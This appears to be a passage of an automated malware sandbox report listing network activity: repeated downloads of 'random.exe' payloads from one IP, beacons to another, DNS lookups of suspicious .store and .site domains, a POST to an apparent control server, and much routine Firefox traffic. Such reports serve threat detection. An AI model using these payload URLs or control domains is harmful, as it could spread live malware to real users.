Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:03 GMTIf-None-Match: "6716110b-2d3c00"
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:09 GMTIf-None-Match: "67161111-1ccc00"
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:03 GMTIf-None-Match: "6716110b-2d3c00"
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:09 GMTIf-None-Match: "67161111-1ccc00"
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:03 GMTIf-None-Match: "6716110b-2d3c00"
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:09 GMTIf-None-Match: "67161111-1ccc00"
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: firefox.exe, 00000015.00000003.2261116618.0000016C0B391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2220389420.0000016C0AFBB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/* equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.2198277027.0000016C164FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.2198277027.0000016C164FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2082774032.0000016C139F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.co equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.2082774032.0000016C13969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2255391397.0000016C1397C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2230082437.0000016C13976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.2082774032.0000016C13969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2255391397.0000016C1397C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2230082437.0000016C13976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.co equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.2198277027.0000016C164FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.2198277027.0000016C164FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2082774032.0000016C139F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.com- equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: clearancek.site
Source: global traffic DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic DNS traffic detected: DNS query: studennotediw.store
Source: global traffic DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic DNS traffic detected: DNS query: spirittunek.store
Source: global traffic DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: youtube.com
Source: global traffic DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: example.org
Source: global traffic DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: www.facebook.com
Source: global traffic DNS traffic detected: DNS query: www.youtube.com
Source: global traffic DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic DNS traffic detected: DNS query: www.reddit.com
Source: global traffic DNS traffic detected: DNS query: twitter.com
Source: global traffic DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 21 Oct 2024 08:46:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e%2FtJIHLUBgySH5x8Td6%2BnE5qkoryw1yS3Lz6h4f0HyLLmzA7X%2BNXSwFq%2F6bQJfwbmKp5uCHas%2FrbuIVXs4rfdBGjeRWT20omuA9AqfEMgb3%2BGgo6vqSHXm8K7zrBW60UapD8nw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d5ff98a6e9e2e6c-DFW
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 21 Oct 2024 08:47:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LRSiB3sMpB9xyKpUVBAO%2BmLRs5uvMjVsmxQlo5K7Vg60xGRjpobUaicFHTX1cZwZ1nCatqTREsL8rudKwn467gjEQjnjOFh7ImyWwA%2F%2B1Ay0lS%2B4sY74yq7vKeazvvGadQtccg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d5ffb6d68e26b49-DFW
